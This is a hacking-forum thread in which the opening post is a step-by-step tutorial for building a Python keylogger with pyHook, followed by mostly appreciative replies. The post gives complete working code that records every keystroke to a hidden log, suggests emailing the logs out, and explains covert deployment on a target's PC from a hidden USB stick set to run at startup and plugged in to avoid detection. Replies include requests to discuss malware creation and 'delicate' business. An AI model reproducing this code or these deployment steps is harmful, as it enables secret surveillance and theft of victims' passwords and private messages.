

Forum:[Hack Forums](#)

Thread: [\[TUT\] HOW TO MAKE PYTHON KEYLOGGER\[TUT\]](#)

Greg8Tacos - March 16, 2017, 3:08 pm

How To Make a Full Keylogger In Python

Hello all, this is my first tut so sorry if it is not formatted well

What You Need

- Python 3 (I am using 3.6)
- pywin32 module (Get it [Here](#) for 64 bit python)
- pywin32 module (Get it [here](#) you need to install with pip)
- Computer
- Brain

Make the logging bit

First install both modules. If you get errors then keep reading.

Next we need the code, this is basic logger code to capture key strokes and dump them in a text file
In the python shell click file, then new, then type:

Code import pyHook, pythoncom, sys, logging , os , winsound , time

```
date = "C:\\important\\LogFile.txt"
x = time.ctime()
with open(date, "a") as f:
    f.write("\n")
    f.write "[" + x + " ] : " )
```

```
def OnKeyboardEvent(event):
    global x
```

```
    if event.Key == "Return" :
        with open(date, "a") as f:
            f.write(" {Enter}\n")
    elif event.Key == "Space" :
        with open(date, "a") as f:
            f.write(" ")
    elif event.Key == "Back" :
        with open(date, "a") as f:
            f.write("{Bkspc}")
```

```
    else :
        with open(date, "a") as f:
            f.write(event.Key)
```

```

    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

```

Now let's break it down so you understand what it does if, you're a python pro (don't know why you'd be reading this tut but) then you can skip this.

```

Code import pyHook, pythoncom, sys, logging , os , winsound , time

```

```

date = "C:\\LogFile.txt"
x = time.ctime()

```

First we import our modules in line 1

Then we set "date" to the file path, this can be any location, or you can set the path to the location of the file by just putting "LogFile.txt" with no path (this works best for usb sticks more on this later). Last we set x to the current time for logging purposes.

```

Code with open(date, "a") as f:
    f.write("\n")
    f.write "[" + x + " ] : " )

```

This just makes it nice and formatted with the date and all that. It will put the date the program is launched not when each key is typed.

```

Code def OnKeyboardEvent(event):
    global x

```

```

    if event.Key == "Return" :
        with open(date, "a") as f:
            f.write(" {Enter}\n")
    elif event.Key == "Space" :
        with open(date, "a") as f:
            f.write(" ")
    elif event.Key == "Back" :
        with open(date, "a") as f:
            f.write("{Bkspc}")

```

This section is for formatting in the log, you can add more if you want. Instead of the log showing the key code for backspace it will show "{Bkspc}".

```

Code else :
    with open(date, "a") as f:
        f.write(event.Key)

```

```

    return True

```

This writes the key strokes to the log then exits the function.

```

Code hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

```

This last bit captures the keys typed and sends then to the previously mentioned function.

But I got errors! Spoiler ([Click to View](#))

If you run the code but get an error, try the following check the syntax you can copy and paste it to be sure.

If the code is correct make sure you have the pywin32 and pyhook modules installed, you should see the uninstall applications in your python folder (most likely: C:\Users\[your name]\AppData\Local\Programs\Python\Python36).

Note: if you installed them with pip you will not see the applications.

If the error persists then do the following:

Open the python shell

Type (no quotes) "import pyHook"

If you get an error, try reinstalling pyHook making sure you have the correct version for your version of python.

Next try (no quotes) "import pythoncom"

If you get a very large error that ends in something like "pythoncom is not a valid file..." then you're in for a dozy.

go to your python folder (see above) then go to:

"\Lib\site-packages\pywin32_system32"

you should find two .dll files, copy these to:

"\Lib\site-packages\win32\lib"

restart the shell then try again.

If you are getting a different error then google the error message.

Ok, as it is this keylogger is not too bad, but needs some help.

A great addition is emailing the log to your email, allowing you to get keystrokes without having to go back to the computer, BUT HF blocks the email code so you will have to do it yourself (I know there are workarounds, but I'm lazy so ?)

Email docs [here](#)

Please add your own functions and let me know, I'll be happy to add them to the thread and credit you!

Make keylogger run from usb Spoiler ([Click to View](#))

bonus tut:

There are countless usb keyloggers for sale online, but you can make one for free using our keylogger code. There are no code changes, however you need to do some work on the usb itself.

First plug in usb and run python installer, choose custom install and install on usb.

Then install the needed python modules (pywin32, pyHook) on usb as well.

Copy script to usb make sure that "date" is set to "LogFile.txt"

(Optional) setup usb to be invisible from explorer (google).

Now plug in usb to target pc, set up to run the logger on startup (again google). then leave it. This works best if you plug in to back usb port to avoid detection.

Thanks for reading my tutorial on making a keylogger in python this is my first tut so, leave suggestions below.

I spent a long time making this so please let me know if you liked it.
Is there are other tuts you would like, please pm me or post below.

Credit: Me for the tut and some code, internet for rest.

Malicious Intent - March 16, 2017, 3:20 pm

Python is not the best choice for keylogger due to its dependencies but you did take a time to write it so i guess thanks for share. I myself wrote a similar logger in python just coz i needed something fast and reliable. I have to say that pyhook works really well and it can intercept virtual keyboard too like in team viewer session and alike.

Greg8Tacos - March 16, 2017, 3:31 pm

(Mar 16, 2017 03:20 PM)Malicious Intent Wrote: [\[CITE\]](#) Python is not the best choice for keylogger due to its dependencies but you did take a time to write it so i guess thanks for share. I myself wrote a similar logger in python just coz i needed something fast and reliable. I have to say that pyhook works really well and it can intercept virtual keyboard too like in team viewer session and alike.

Yes I wanted to do it with no dependence but sadly could not. I chose python because it's easy to learn.

llama77 - March 16, 2017, 4:30 pm

Thanks for sharing I have been looking to make my own keylogger in python 3, most I found were in 2

Greg8Tacos - March 17, 2017, 11:11 am

(Mar 16, 2017 04:30 PM)llama77 Wrote: [\[CITE\]](#) Thanks for sharing I have been looking to make my own keylogger in python 3, most I found were in 2

Glad it helped!

FlowersHavePower - March 18, 2017, 9:42 am

hi Greg8Tacos can we chat plz bro. Skype: Flowers Have Power

Admi - March 18, 2017, 1:56 pm

I have wanted to start learning Python...I think this will give me some motivation to start.

I hate having to ask for help; I thought I downloaded the correct pywin version for my 64 bit Python. Am I missing something?

I have python-3.6.0-amd64.exe installed

I downloaded pywin32-220.win-amd64-py.3.6.exe

Cannot install: Python version 3.6-32 required, which was not found in the registry

Thank you for making this tut...looking forward to hearing back.

Greg8Tacos - March 18, 2017, 4:25 pm

(Mar 18, 2017 01:56 PM)Admi Wrote: [\[CITE\]](#) I have wanted to start learning Python...I think this will give me some motivation to start.

I hate having to ask for help; I thought I downloaded the correct pywin version for my 64 bit Python. Am I missing something?

I have python-3.6.0-amd64.exe installed

I downloaded pywin32-220.win-amd64-py.3.6.exe

Cannot install: Python version 3.6-32 required, which was not found in the registry

Thank you for making this tut...looking forward to hearing back.

Hi this happened to me as well. Get the regular one and it should work! Hope this clears it up!

Angel - March 18, 2017, 4:53 pm

Nice tutorial,i'll try it later .
thanks ?

Greg8Tacos - March 19, 2017, 7:52 am

(Mar 18, 2017 04:53 PM)GuardianAngel Wrote: [\[CITE\]](#) Nice tutorial,i'll try it later .
thanks ?
Glad I could help!

sh4cl0n3 - March 19, 2017, 1:07 pm

This shit is perfect bro thanks for share ???

Greg8Tacos - March 19, 2017, 4:11 pm

No problem, glad it worked well for you!

(Mar 19, 2017 01:07 PM)sh4cl0n3 Wrote: [\[CITE\]](#) This shit is perfect bro thanks for share ???

Lunatiick - March 21, 2017, 3:29 am

Thanks for the share, just what i was after.
Can i PM you a question about python?

Greg8Tacos - March 21, 2017, 12:33 pm

(Mar 21, 2017 03:29 AM)Lunatiick Wrote: [\[CITE\]](#) Thanks for the share, just what i was after.
Can i PM you a question about python?
Sure ask away, or you can post in the thread.

C_System32 - March 21, 2017, 1:58 pm

Thanks for the share mate!

fateh005 - March 22, 2017, 5:36 am

Nice tutorial , thank you

sweanswen - March 22, 2017, 11:59 am

Thank you, i will try this method.

Traum - March 22, 2017, 2:32 pm

Nice tutorial! Thank you for sharing. ?

flyken27 - March 22, 2017, 6:19 pm

greg, could you add me on discord? i cant pm. i would like to converse about other maleware creation.

Greg8Tacos - March 23, 2017, 12:46 pm

(Mar 22, 2017 06:19 PM)flyken27 Wrote: [\[CITE\]](#) greg, could you add me on discord? i cant pm. i would like to converse about other maleware creation.

Hi, Please post more then PM me when you can. I wont leave I promise. ?

lamX - March 25, 2017, 4:06 am

This is a helpfull article , Thank you bro :)

Greg8Tacos - March 25, 2017, 8:00 am

(Mar 25, 2017 04:06 AM)lamX Wrote: [\[CITE\]](#) This is a helpfull article , Thank you bro :)
You're welcome.

flyken27 - March 26, 2017, 9:36 pm

Gred8Tacos, please email me @ jaredcollins99@gmail.com, i would like to discuss something with you, business that can be, delicate.. more can be explained via email, but thus is urgent, so contact me as soon as possible.

playboicarti - March 27, 2017, 7:58 am

mhm interesting... thanks

?ictor? - March 27, 2017, 2:50 pm

Nice tutorial! Though, Python is not the best language for this, I still appreciate the tutorial :)

Greg8Tacos - March 28, 2017, 12:51 pm

(Mar 26, 2017 09:36 PM)flyken27 Wrote: [\[CITE\]](#) Gred8Tacos, please email me @ jaredcollins99@gmail.com, i would like to discuss something with you, business that can be, delicate.. more can be explained via email, but thus is urgent, so contact me as soon as possible.
I do not do business through email please PM me.

BungeeGum - May 11, 2017, 11:31 am

Wow nice tut on this one bro! gonna try this out and leave you feedback when i'm done. Thanks for sharing, keep it up!

German Poltergeist - May 13, 2017, 10:00 pm

Excellent work, it works well and good explanations

rayko0 Expert - May 17, 2017, 6:12 pm

Nice tutorial
thanks .

Hopsin - May 18, 2017, 2:28 pm

Well I don't use python anymore but thanks for the tutorial nonetheless. Have a nice day mate! ?

drtechy1 - May 24, 2017, 9:12 pm

Nice tut just started learning python so ill def check this out